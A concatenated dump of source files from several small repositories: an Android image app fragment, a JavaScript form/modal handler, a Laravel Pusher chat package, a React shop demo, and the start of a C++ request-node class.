break; case 2: imageView.setImageResource(R.drawable.student2); break; case 0: default: imageView.setImageResource(R.drawable.student3); break; } break; case 3: rand = random.nextInt(2); Log.i("random",Integer.toString(rand)); switch(rand){ case 1: imageView.setImageResource(R.drawable.teacher1); break; case 2: imageView.setImageResource(R.drawable.teacher2); break; case 0: default: imageView.setImageResource(R.drawable.teacher3); break; } break; } } public void restart(View view){ Intent intent = new Intent(getApplicationContext(),gender.class); startActivity(intent); } }
b92e0e1dd5561c1dec0bca0e10e71e311aeb59b0
[ "Java" ]
1
Java
VaishnavGarodia/funnyimagegenerator
85b931a59e1cfc590831b125193aca283936d4e9
2e9b3a9e8a0acbdba2965968802c2c4a2c55fd82
refs/heads/master
<file_sep># examples ## Playing in examples on es6. Let's construct modal window handler with the control set.<file_sep>'use strict'; document.addEventListener('click', clickEventListener); document.addEventListener('change', changeEventListener); function clickEventListener(event) { let modal = new modalWindow(event); if (modal.getEventType() === 'control') { let handler = new ButtonsClickHandler(modal.returnEventAction()) , form = new Form(event); handler.showAction(); if (form.exists()) { handler.handle(form.formName); } } if (!modal.isModal()) { modal.toggle(); } } function changeEventListener(event) { let changedNode = event.target.name; if (changedNode === 'file') { let handler = new ButtonsClickHandler(changedNode) , form = new Form(event); if (form.exists()) { handler.handle(form.formName); } } } class CONSTANTS { static get FOLDER() { return 'folder'; } static get FILE() { return 'file'; } static get SPLITTER() { return ', '; } static get BASEURL() { return 'http://192.168.10.235/up-concepta/web/app.php/library/api/'; } } class Form { constructor(event) { let target = event.target; this.formNodeName = ''; while (target.parentNode) { if (target.tagName === 'form'.toUpperCase()) { this.formNodeName = target.name; break; } target = target.parentNode; } } exists() { return this.formNodeName !== ''; } get formName() { return this.formNodeName; } } class ButtonsClickHandler { constructor(action) { this.action = action; this.value = ''; this.type = CONSTANTS.FOLDER; this.formName = ''; } showAction() { console.log(this.action); } handle(formName = this.formName) { let request; this.formName = formName; switch (this.action) { case 'add': this.value = this._itemName; this.type = this._getType(); console.log('value: ' + this.value); console.log('type: ' + this.type); if (this._notEmpty()) { let editCallParameters = { actionType: 'add', itemName: this.value, itemType: this.type }; let requestBody = new RequestProcessor(); request = requestBody.prepare('edit', '', editCallParameters, this.formName); } break; case 'clear': this._clearToDefault(); break; case 'file': this._setAsFile(); break; case 'list': let requestBody = new RequestProcessor(); request = requestBody.prepare('get', '', {itemName: ''}); break; case 'remove': this._getRemoveParameters(); if (this._notEmpty()) { let requestBody = new RequestProcessor(); request = requestBody.prepare('edit', '', { actionType: 'remove', itemName: this.value, itemType: this.type }, this.formName); } } if (typeof request === 'object') { fetch(request) .then(this._checkResponse) .then(this._showData) .catch(this._showError); } } _checkResponse(response) { if (response.ok) { return response.json(); } throw new Error('Network response is bad.'); } _showData(data) { console.log(data); return (data); } _showError(error) { console.log(error); } _notEmpty() { return this.value !== ''; } _clearToDefault() { this.value = ''; this._itemName = this.value; this._fileSelect = this.value; this._itemType = CONSTANTS.FOLDER; } _getRemoveParameters() { this.value = this._itemName; this.type = this._itemType; } get _itemName() { return document[this.formName].add.value; } set _itemName(value) { document[this.formName].add.value = value; } get _itemType() { return document[this.formName].type.value; } set _itemType(value) { document[this.formName].type.value = value; } get _fileSelect() { return document[this.formName].file.files; } set _fileSelect(value) { document[this.formName].file.value = value; } _composeFileNames() { return [].map.call(document[this.formName].file.files, file => file.name).join(CONSTANTS.SPLITTER); } _setAsFile() { this._itemName = this._composeFileNames(); this._itemType = CONSTANTS.FILE; } _getType() { return this._fileSelect.length > 0 ? CONSTANTS.FILE : CONSTANTS.FOLDER; } } class modalWindow { constructor(event, modalPointer = 'modal', modalControllerPointer = 'button') { this.targetIsModal = false; this.target = event.target; this.currentTarget = event.currentTarget; this.rolePointer = modalPointer; this.controllerPointer = modalControllerPointer; this.controlAction = 'none'; } getEventType() { while (this.target !== this.currentTarget) { switch (this.target.dataset.role) { case this.controllerPointer: this.targetIsModal = true; this.controlAction = this.target.dataset.action; return 'control'; case this.rolePointer: this.targetIsModal = true; return 'modal'; default: this.target = this.target.parentNode; } } return 'none'; } returnEventAction() { return this.controlAction; } isModal() { return this.targetIsModal; } _getModalNode() { return document.querySelector('[data-role="' + this.rolePointer + '"]') } toggle() { this._isDisplayed() ? this._hideModal() : this._showModal(); } _isDisplayed() { return this._getModalNode().style.display !== 'none'; } _hideModal() { this._getModalNode().style.display = 'none'; } _showModal() { this._getModalNode().style.display = 'flex'; } } class RequestProcessor { constructor() { this.requestType = 'json'; this.requestBody = ''; this.requestController = ''; this.setParameters = {}; this.formPointer = ''; } prepare(action, path, others, formPointer = '') { let requestParameters , errorMessage = `Incorrect parameters provided in ${action} request.`; this.formPointer = formPointer; switch (action) { case 'get': this.setParameters = { itemName: others.itemName, path: path, }; requestParameters = this._setGetParameters(); if (requestParameters.isGet) { this.requestBody = requestParameters.parameters; this.requestController = requestParameters.url; } else { throw new Error(errorMessage); } break; case 'edit': this.setParameters = { actionType: others.actionType, itemName: others.itemName, itemType: others.itemType, path: path, }; requestParameters = this._setEditParameters(); if (requestParameters.isEdit) { if (requestParameters.withFile) { if (this._formPointerNotEmpty()) { let formData = this._createFormDataFromFiles('file'); requestParameters.parameters.objectName = requestParameters.parameters.objectName.split(CONSTANTS.SPLITTER); formData.append('description', JSON.stringify(requestParameters.parameters)); this.requestBody = formData; this.requestType = 'formData'; } else { throw new Error(errorMessage); } } else { this.requestBody = requestParameters.parameters; } this.requestController = requestParameters.url; } else { throw new Error(errorMessage); } } return this._makeRequest(); } _makeRequest() { let requestParameters = { method: 'POST', mode: 'cors', }; if (this.requestType === 'json') { requestParameters.headers = { 'Content-Type': 'application/json' }; requestParameters.body = JSON.stringify(this.requestBody); } else { requestParameters.body = this.requestBody; } return new Request(CONSTANTS.BASEURL + this.requestController, requestParameters); } _formPointerNotEmpty() { return this.formPointer !== ''; } _createFormDataFromFiles(fileNode) { let formData = new FormData(); for (let i = 0; i < document[this.formPointer][fileNode].files.length; i++) { formData.append(`file${i}`, document[this.formPointer][fileNode].files[i]); } return formData; } _setGetParameters() { let isGet = false , requestParameters = {} , requestController; if (this.setParameters.hasOwnProperty('itemName')) { if (this.setParameters.itemName === '') { requestParameters.action = 'list'; requestParameters.fileName = this.setParameters.itemName; requestController = 'getJsonList'; } else { requestParameters.action = 'book'; requestParameters.fileName = this.setParameters.itemName; requestController = 'getJsonBook'; } isGet = true; requestParameters.path = this.setParameters.path; } return {isGet: isGet, parameters: requestParameters, url: requestController}; } _setEditParameters() { let errorMessage = `Error. `; let isEdit = false , withFile = false , requestParameters = {} , requestController = 'editList'; if (this.setParameters.hasOwnProperty('actionType')) { switch (this.setParameters.actionType) { case 'add': if (this.setParameters.itemType === 'file') { if (this.setParameters.itemName === '') { throw new Error(errorMessage + 'Can not add file without the name.') } else { withFile = true; } } break; case 'remove': if (this.setParameters.itemName === '') { throw new Error(errorMessage + ' Nothing to remove.'); } } isEdit = true; requestParameters.objectName = this.setParameters.itemName; requestParameters.objectType = this.setParameters.itemType; requestParameters.action = this.setParameters.actionType; requestParameters.path = this.setParameters.path; } return {isEdit: isEdit, parameters: requestParameters, url: requestController, withFile: withFile}; } }
213a8b6ea347bca90d1a9b45e2c55865d47f74ca
[ "Markdown", "JavaScript" ]
2
Markdown
vth2k/examples
7f6500a41aebeee96510184cf33853c276fa3177
21fbf799e20c7ee95a9cd7efc9213c3787daf2e5
refs/heads/master
<repo_name>uvg-cc3055-20/laboratorio-6-estebanc-analuciah<file_sep>/README.md # Laboratorio 6 Link para prueba de AR en versión computadora: https://youtu.be/M_JsyF7QMc8 Link para prueba de AR en versión Android: https://youtu.be/gM-sMEHECBQ Link a repositorio github: https://github.com/uvg-cc3055-20/laboratorio-6-estebanc-analuciah <file_sep>/Assets/Scripts/VirtualButton.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using Vuforia; using UnityEngine.UI; public class VirtualButton : MonoBehaviour, IVirtualButtonEventHandler { private VirtualButtonBehaviour virtualBtn; public Animator birdAnim; // Use this for initialization void Start () { virtualBtn = GetComponent<VirtualButtonBehaviour>(); virtualBtn.RegisterEventHandler(this); } // Update is called once per frame void Update () { } public void OnButtonPressed(VirtualButtonBehaviour b) { birdAnim.SetTrigger("sing"); } public void OnButtonReleased(VirtualButtonBehaviour b) { } }
abb1412f6bece9f3d85a74ffd89871bc4605b725
[ "Markdown", "C#" ]
2
Markdown
uvg-cc3055-20/laboratorio-6-estebanc-analuciah
7f01566f91f47708a1241e9c65860ec9a5555067
07fddf225ed3ee86c5dfc21d3333a128b3207161
refs/heads/master
<file_sep>export default { product1 : { title : 'Laravel Tutorial', slug : 'laravel-tutorial', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/1/30/meet-laravel-cover-1.png', price : 200, available : true }, product2 : { title : 'Sass Tutorial', slug : 'sass-tutorial', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/8/24/sass-cover-2.png', price : 400, available : true }, product3 : { title : 'Learn Web Design', slug : 'learn-web-design', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/11/11/b7etda5c.jpg', price : 150, available : true }, product4 : { title : 'Full Training Flexbox', slug : 'full-training-flexbox', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/10/19/flexbox-cover-1.png', price : 350, available : true }, product5 : { title : 'Learning Javascript', slug : 'learning-javascript', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/6/24/javascript-cover-1.png', price : 900, available : false }, product6 : { title : 'Learning PHP', slug: 'learning-php', description : 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', image : 'http://roocket.ir/public/image/2016/7/3/phh-cover-1.png', price : 800, available : true } } <file_sep>import React from 'react'; import './App.css'; import ReactDOM from 'react-dom'; import { BrowserRouter as Router, Route, hashHistory } from "react-router-dom"; import { About } from './About'; import { Home } from './Home'; import { Telegram } from './Telegram'; import App from './App'; import { Message } from './Message'; export class Index extends React.Component{ constructor(props){ super(props); } render(){ return( <div> <Router> <Route path="/" exact component={Home} /> <Route path="/about" component={About}/> <Route path="/telegram" component={Telegram} /> <Route path="/message" component={Message} /> <Route path="/products" component={App}/> {/* <Route path="/products" render={ () => <Products productData={this.state.productData} addToCart={this.addToCart} orders={this.state.orders} removeOfCart={this.removeOfCart} />}/> */} </Router> </div> ) } } ReactDOM.render(<Index />, document.getElementById('root')); <file_sep>import React from 'react'; import { Card, Tag } from 'antd'; const { Meta } = Card; export class Product extends React.Component{ render(){ let details = this.props.details; let cartStyle = (details.available) ? { cursor: 'pointer'} : {cursor: 'not-allowed', backgroundColor: '#999'}; return( <Card hoverable style={{ margin:'auto 15px 10px' }} cover={<img alt="example" src={details.image} />} > <Meta title={details.title} description={details.description} /> <div style={{ padding: '20px 0px 10px' }}> <Tag color="#54d068">${details.price}</Tag> <Tag color="#108ee9" style={cartStyle} onClick={() => this.props.addToCart(this.props.index)}>Add To Cart</Tag> </div> </Card> ) } }<file_sep>import React from 'react'; import './App.css'; import { Header } from './section/Header'; import { Welcome } from './section/Welcome'; export class Home extends React.Component{ render(){ return( <div> <Header selectedMenu="home"/> <Welcome title="Welcome To My Shop" /> </div> ) } }<file_sep>import React from 'react'; import './App.css'; import Cookies from 'universal-cookie'; import Data from './data'; import { Products } from './Products'; import ButtonCart from './section/ButtonCart'; import { Header } from './section/Header'; import { Welcome } from './section/Welcome'; const cookies = new Cookies(); let newState = []; export default class App extends React.Component{ constructor(props){ super(props); this.state = { productData: Data, orders: (typeof(cookies.get('orders')) == "undefined" ? [] : cookies.get('orders')) } this.addToCart = this.addToCart.bind(this); this.removeOfCart = this.removeOfCart.bind(this); } addToCart(key){ [key] = key.split('|'); if(this.state.productData[key].available){ newState = this.state.orders; newState.push(key); this.setState({ orders: newState }); cookies.set('orders', newState, { path: '/' }); } } removeOfCart(key){ let productKey = key.key; let i = this.state.orders.indexOf(productKey); if(i != -1){ newState = this.state.orders; newState.splice(i, 1); this.setState({ orders: newState }) cookies.set('orders', newState, { path: '/' }); } } render(){ return( <div> <Header selectedMenu="products"/> <Welcome title="Products"/> <Products productData={this.state.productData} addToCart={this.addToCart} orders={this.state.orders}/> <ButtonCart productData={this.state.productData} orders={this.state.orders} removeOfCart={this.removeOfCart} /> </div> ) } } <file_sep>import React from 'react'; import './App.css'; import { Header } from './section/Header'; import { Welcome } from './section/Welcome'; export class Telegram extends React.Component{ render(){ return( <div> <Header selectedMenu="telegram"/> <Welcome title="Message Us at Telegram :))" /> </div> ) } }<file_sep>import React from 'react'; import { Row, Col, Menu, Icon } from 'antd'; import { Link } from 'react-router-dom'; const SubMenu = Menu.SubMenu; export class Header extends React.Component{ constructor(props){ super(props); this.state = { selectedKey: this.props.selectedMenu } this.handleClick = this.handleClick.bind(this) } handleClick(e){ this.setState({ selectedKey: e.key }) } render(){ return( <Row type="flex" justify="center"> <Col> <Menu onClick={this.handleClick} mode="horizontal" selectedKeys={[this.state.selectedKey]}> <Menu.Item key="home"> <Link to="/"> <Icon type="home" />Home</Link> </Menu.Item> <Menu.Item key="products"> <Link to="/products"><Icon type="appstore" /> Products</Link> </Menu.Item> <Menu.Item key="pig"> <Icon type="shopping-cart" /> invoice </Menu.Item> <SubMenu title={<span><Icon type="mail" /> Contact Us</span>}> <Menu.Item key="telegram"> <Link to="/telegram"><Icon type="mobile" /> telegram</Link> </Menu.Item> <Menu.Item key="message"> <Link to="/message"><Icon type="message" /> message</Link> </Menu.Item> </SubMenu> <Menu.Item key="about"> <Link to="/about"><Icon type="smile" /> About Us</Link> </Menu.Item> </Menu> </Col> </Row> ) } }<file_sep>import React from 'react'; import './App.css'; import { Row, Col, Button } from 'antd'; import { Header } from './section/Header'; import { Welcome } from './section/Welcome'; export class Message extends React.Component{ constructor(props){ super(props); this.state = { formBody:{ name: '', email: '', messgae: '' } } } handleChange(e){ let newFormBody = this.state.formBody; newFormBody[e.target.name] = e.target.value; this.setState({ formBody: newFormBody }) } handleSubmit(e){ e.preventDefault(); let dataForm = { name: this.refs.name.value, email: this.refs.email.value, message: this.refs.message.value } console.log(`name: ${dataForm.name} | email: ${dataForm.email} | message: ${dataForm.message}`); } render(){ return( <div> <Header selectedMenu="phone"/> <Welcome title="Call Us :P" /> <Row type="flex" justify="center"> <Col span={8}> <form onSubmit={this.handleSubmit.bind(this)}> <div className="ant-row ant-form-item"> <div className="ant-form-item-label"> <label>Name</label> </div> <div className="ant-form-item-control"> <input type="text" name="name" ref="name" placeholder="Please enter your name" className="ant-input ant-input-lg" value={this.state.formBody.name} onChange={this.handleChange.bind(this)} /> </div> </div> <div className="ant-row ant-form-item"> <div className="ant-form-item-label"> <label>Email</label> </div> <div className="ant-form-item-control"> <input type="email" name="email" ref="email" placeholder="Please enter your email" className="ant-input ant-input-lg" value={this.state.formBody.email} onChange={this.handleChange.bind(this)}/> </div> </div> <div className="ant-row ant-form-item"> <div className="ant-form-item-label"> <label>Message</label> </div> <div className="ant-form-item-control"> <textarea name="message" ref="message" placeholder="Please enter your message" className="ant-input ant-input-lg" onChange={this.handleChange.bind(this)}>{this.state.formBody.message}</textarea> </div> </div> <div className="ant-row ant-form-item"> <div className="ant-form-item-control"> <Button type="primary" htmlType="submit">Send</Button> </div> </div> </form> </Col> </Row> </div> ) } }<file_sep>## React Shop Project **the first React project By** ### MoeinDanA
2acbf2fc328f470d52b151af805a64aa324f634a
[ "JavaScript", "Markdown" ]
9
JavaScript
moeindanesh/React_Shop
00f25a26f8ef081901f555dfeeb6f3af66bd5ec7
459a81e968dc7fb21cf8548562d561d07abab329
refs/heads/master
<repo_name>iinnet/chatkun_pusher<file_sep>/src/ChatKunServiceProvider.php <?php namespace nattaponra\chatkun_pusher; use Illuminate\Support\Facades\Route; use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider; class ChatKunServiceProvider extends ServiceProvider { /** * Bootstrap the application services. * * @return void */ public function boot() { //Public $this->publishes([ __DIR__.'/public' => base_path('public'), ]); //Create View $this->publishes([ __DIR__.'/views' => base_path('resources/views'), ]); $this->loadRoutesFrom(__DIR__.'/routes.php'); //Create Model $this->publishes([ __DIR__.'/models' => base_path('app'), ]); //Create Controller $this->publishes([ __DIR__.'/controllers' => base_path('app/Http/Controllers'), ]); //Create Migrations $this->publishes([ __DIR__.'/migrations' => base_path('database/migrations'), ]); } /** * Register the application services. * * @return void */ public function register() { } } <file_sep>/src/controller/ChatkunController.php <?php namespace App\Http\Controllers; use App\Chat_messages; use App\ChatUserManagement; use App\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Response; use Pusher; class ChatkunController extends Controller { public $options; public $pusher; function __construct() { $this->options = array( 'cluster' => 'ap1', 'encrypted' => true ); $this->pusher = new Pusher( '71baa59665e9ba7ac6e9', '8efbc5d481a62566ace8', '344751', $this->options ); } public function countOnlineUser(){ date_default_timezone_set("Asia/Bangkok"); // Set timezone $user=Auth::user(); $userOnline=ChatUserManagement::where('user_id',$user->id); if($userOnline->count()==0){ ChatUserManagement::create(['user_id'=>Auth::user()->id,'resource_id'=>'online']); }else{ ChatUserManagement::where('user_id',Auth::user()->id)->delete(); ChatUserManagement::create(['user_id'=>Auth::user()->id,'resource_id'=>'online']); } // Clear User out of online DB::select("SET sql_mode=''"); DB::select("DELETE FROM chat_user_managements WHERE chat_user_managements.created_at<DATE_SUB(NOW(),INTERVAL 30 SECOND)"); } public function index(){ $this->countOnlineUser(); $user_id= Input::get('user_id'); $name= Input::get('name'); /** Get User List */ DB::select("SET sql_mode=''"); $user=Auth::user(); $userData= DB::select("SELECT users.*, if(chat_user_managements.resource_id is null,0,1) as online FROM users LEFT JOIN chat_user_managements ON chat_user_managements.user_id=users.id WHERE users.id!= ".$user->id ." GROUP BY users.id"); return view('chatkun.chat_page',compact('userData','user_id','name')); } public function viewHistory($to_user_id){ $user_id=Auth::user()->id; $history_result= Chat_messages::where("user_id",$user_id)->where("to_user_id",$to_user_id)->orwhere("user_id",$to_user_id)->where("to_user_id",$user_id)->get(); return $history_result; } public function uploadFile(Request $request){ if ($file = $request->file('file')) { $original_name = $file->getClientOriginalName(); $extensionFile = $file->getClientOriginalExtension(); $resultPaht = $request->file->store('myFile'); /////// Send File //////////////////// $to_user_id = Input::get('to_user_id'); $message = Input::get('message'); $result= Chat_messages::create(['user_id'=>Auth::user()->id,'to_user_id'=>$to_user_id,'message'=>$message,'status'=>'unread','type'=>'file','option'=>$resultPaht]); $data['message'] = $message; $data['type']="file"; $data['link']=url('/chatkun/download')."/".$result->id.'/'.md5($result->id.base64_encode($result->id)); $data['from']=Auth::user()->id; $data['name']=Auth::user()->name; $this->pusher->trigger($to_user_id, 'my-event', $data); return $data; } } public function pushMessage(){ $to_user_id = Input::get('to_user_id'); $message = Input::get('message'); $result= Chat_messages::create(['user_id'=>Auth::user()->id,'to_user_id'=>$to_user_id,'message'=>$message,'status'=>'unread','type'=>'message','option'=>'']); $data['message'] = $message; $data['type']="message"; $data['from']=Auth::user()->id; $data['name']=Auth::user()->name; $data['link']=url('/chatkun/download')."/".$result->id.'/'.md5($result->id.base64_encode($result->id)); $this->pusher->trigger($to_user_id, 'my-event', $data); } public function download($chat_message_id,$token){ if(md5($chat_message_id.base64_encode($chat_message_id))==$token){ DB::select("SET sql_mode=''"); $user=Auth::user(); $chat_message= DB::select("SELECT * FROM chat_messages WHERE chat_messages.id=$chat_message_id AND (chat_messages.user_id=".$user->id." OR chat_messages.to_user_id=".$user->id." ) "); $file= storage_path().'/app/'.$chat_message[0]->option; $sp=explode('.',$chat_message[0]->option); $extFile=$sp[count($sp)-1]; $headers = array( 'Content-Type: application/'.$extFile, ); return Response::download($file, 'ChatKun-Download-When_'.date('Y-m-d').'.'.$extFile, $headers); } } } <file_sep>/src/model/Chat_messages.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Chat_messages extends Model { protected $fillable = [ 'user_id', 'to_user_id','message','status','type','option' ]; public function getOptionAttribute(){ return url('/chatkun/download')."/".$this->id.'/'.md5($this->id.base64_encode($this->id)); } } <file_sep>/src/routes/web.php <?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', function () { return view('welcome'); }); Auth::routes(); Route::get('/home', 'HomeController@index')->name('home'); Route::get('/chatkun','ChatkunController@index'); Route::get('/chatkun/server','ChatkunController@pusher'); Route::get('/chatkun/history/{to_user_id}','ChatkunController@viewHistory'); Route::get('/chatkun/send','ChatkunController@pushMessage'); Route::post('/chatkun/upload','ChatkunController@uploadFile'); Route::get('/chatkun/download/{chat_message_id}/{token}','ChatkunController@download'); Route::post('/chatkun_auth',function(){ if(Auth::check()){ $pusher = new Pusher('71baa59665e9ba7ac6e9', '8efbc5d481a62566ace8', '344751'); $presence_data = array('name' => Auth::user()->name); echo $pusher->presence_auth($_POST['channel_name'], $_POST['socket_id'], Auth::user()->id, $presence_data); }else{ header('', true, 403); echo( "Forbidden" ); } });
6ea84b45e7950b3a1cc40a2e7a85252149273294
[ "PHP" ]
4
PHP
iinnet/chatkun_pusher
32a222d3dd70385a3ea4f5aa491e81282313e80a
de218a6bbd4ce4c7770bd25b453806d92840f54f
refs/heads/master
<repo_name>clzdl/BusinessUtil<file_sep>/src/SdpInvoke/JsonReqNode.cpp #include <SdpInvoke/JsonReqNode.h> #include "MacroDefine.h" #include "stdio.h" namespace BusinessUtil { NodeBase::NodeBase() { } NodeBase::~NodeBase() { } ///////////////// NodeTrade::NodeTrade() { } NodeTrade::~NodeTrade() { } NodeTrade::NodeTrade(const NodeTrade &nt) { m_strSubscribeID = nt.m_strSubscribeID; m_strTradeID =nt.m_strTradeID; m_strTradeTypeCode = nt.m_strTradeTypeCode; m_strInModeCode = nt.m_strInModeCode; m_strSubscribeState = nt.m_strSubscribeState; m_strPackageID = nt.m_strPackageID; m_strBrandCode = nt.m_strBrandCode; m_strUserID = nt.m_strUserID; m_strCustID = nt.m_strCustID; m_strAcctID = nt.m_strAcctID; m_strNetTypeCode = nt.m_strNetTypeCode; m_strSerialNumber = nt.m_strSerialNumber; m_strCustName = nt.m_strCustName; m_strFinishDate = nt.m_strFinishDate; m_strAcceptStaffID = nt.m_strAcceptStaffID; m_strAcceptDepartID = nt.m_strAcceptDepartID; m_strAcceptProvinceCode = nt.m_strAcceptProvinceCode; m_strAcceptRegionCode = nt.m_strAcceptRegionCode; m_strAcceptCityCode = nt.m_strAcceptCityCode; m_strTermIP = nt.m_strTermIP; m_strProvinceCode = nt.m_strProvinceCode; m_strRegionCode = nt.m_strRegionCode; m_strCityCode = nt.m_strCityCode; m_strHaseFee = nt.m_strHaseFee; m_strFeeSum = nt.m_strFeeSum; m_strActorName = nt.m_strActorName; m_strActorCertTypeID = nt.m_strActorCertTypeID; m_strActorPhone = nt.m_strActorPhone; m_strActorCertNum = nt.m_strActorCertNum; m_strContact = nt.m_strContact; m_strContactPhone = nt.m_strContactPhone; m_strContactAddress = nt.m_strContactAddress; m_strRemark = nt.m_strRemark; m_strProviderCode = nt.m_strProviderCode; m_vecTradeItem.insert(m_vecTradeItem.begin() , nt.m_vecTradeItem.begin(), nt.m_vecTradeItem.end()); } NodeTrade& NodeTrade::operator = (const NodeTrade &nt) { if(this == &nt) return *this; m_strSubscribeID = nt.m_strSubscribeID; m_strTradeID =nt.m_strTradeID; m_strTradeTypeCode = nt.m_strTradeTypeCode; m_strInModeCode = nt.m_strInModeCode; m_strSubscribeState = nt.m_strSubscribeState; m_strPackageID = nt.m_strPackageID; m_strBrandCode = nt.m_strBrandCode; m_strUserID = nt.m_strUserID; m_strCustID = nt.m_strCustID; m_strAcctID = nt.m_strAcctID; m_strNetTypeCode = nt.m_strNetTypeCode; m_strSerialNumber = nt.m_strSerialNumber; m_strCustName = nt.m_strCustName; m_strFinishDate = nt.m_strFinishDate; m_strAcceptStaffID = nt.m_strAcceptStaffID; m_strAcceptDepartID = nt.m_strAcceptDepartID; m_strAcceptProvinceCode = nt.m_strAcceptProvinceCode; m_strAcceptRegionCode = nt.m_strAcceptRegionCode; m_strAcceptCityCode = nt.m_strAcceptCityCode; m_strTermIP = nt.m_strTermIP; m_strProvinceCode = nt.m_strProvinceCode; m_strRegionCode = nt.m_strRegionCode; m_strCityCode = nt.m_strCityCode; m_strHaseFee = nt.m_strHaseFee; m_strFeeSum = nt.m_strFeeSum; m_strActorName = nt.m_strActorName; m_strActorCertTypeID = nt.m_strActorCertTypeID; m_strActorPhone = nt.m_strActorPhone; m_strActorCertNum = nt.m_strActorCertNum; m_strContact = nt.m_strContact; m_strContactPhone = nt.m_strContactPhone; m_strContactAddress = nt.m_strContactAddress; m_strRemark = nt.m_strRemark; m_strProviderCode = nt.m_strProviderCode; m_vecTradeItem.clear(); m_vecTradeItem.insert(m_vecTradeItem.begin() , nt.m_vecTradeItem.begin(), nt.m_vecTradeItem.end()); return *this; } void NodeTrade::SetSubscribeID(std::string id) { m_strSubscribeID = id; } void NodeTrade::SetTradeID(std::string id) { m_strTradeID = id; } void NodeTrade::SetTradeTypeCode(std::string id) { m_strTradeTypeCode = id; } void NodeTrade::SetInModeCode(std::string code) { m_strInModeCode = code; } void NodeTrade::SetSubscribeState(std::string state) { m_strSubscribeState = state; } void NodeTrade::SetPackageID(std::string id) { m_strPackageID = id; } void NodeTrade::SetBrandCode(std::string code) { m_strBrandCode = code; } void NodeTrade::SetUserID(std::string id) { m_strUserID = id; } void NodeTrade::SetCustID(std::string id) { m_strCustID = id; } void NodeTrade::SetAcctID(std::string id) { m_strAcctID = id; } void NodeTrade::SetNetTypeCode(std::string code) { m_strNetTypeCode = code; } void NodeTrade::SetSerialNumber(std::string number) { m_strSerialNumber = number; } void NodeTrade::SetCustName(std::string name) { m_strCustName = name; } void NodeTrade::SetFinishDate(std::string date) { m_strFinishDate = date; } void NodeTrade::SetAcceptStaffID(std::string id) { m_strAcceptStaffID = id; } void NodeTrade::SetAcceptDepartID(std::string id) { m_strAcceptDepartID = id; } void NodeTrade::SetAcceptProvinceCode(std::string code) { m_strAcceptProvinceCode = code; } void NodeTrade::SetAcceptRegionCode(std::string code) { m_strAcceptRegionCode = code; } void NodeTrade::SetAcceptCityCode(std::string code) { m_strAcceptCityCode = code; } void NodeTrade::SetTermIP(std::string ip) { m_strTermIP = ip; } void NodeTrade::SetProvinceCode(std::string code) { m_strProvinceCode = code; } void NodeTrade::SetRegionCode(std::string code) { m_strRegionCode = code; } void NodeTrade::SetCityCode(std::string code) { m_strCityCode = code; } void NodeTrade::SetHaseFee(std::string hasfee) { m_strHaseFee = hasfee; } void NodeTrade::SetFeeNum(std::string fee) { m_strFeeSum = fee; } void NodeTrade::SetActorName(std::string name) { m_strActorName = name; } void NodeTrade::SetActorCertTypeID(std::string id) { m_strActorCertTypeID = id; } void NodeTrade::SetActorPhone(std::string phone) { m_strActorPhone = phone; } void NodeTrade::SetActorCertNum(std::string num) { m_strActorCertNum = num; } void NodeTrade::SetContact(std::string contact) { m_strContact = contact; } void NodeTrade::SetContactPhone(std::string phone) { m_strContactPhone = phone; } void NodeTrade::SetContactAddress(std::string addr) { m_strContactAddress = addr; } void NodeTrade::SetRemark(std::string remark) { m_strRemark = remark; } void NodeTrade::SetProviderCode(std::string code) { m_strProviderCode = code; } void NodeTrade::SetAcceptDate(std::string date) { m_strAcceptDate = date; } void 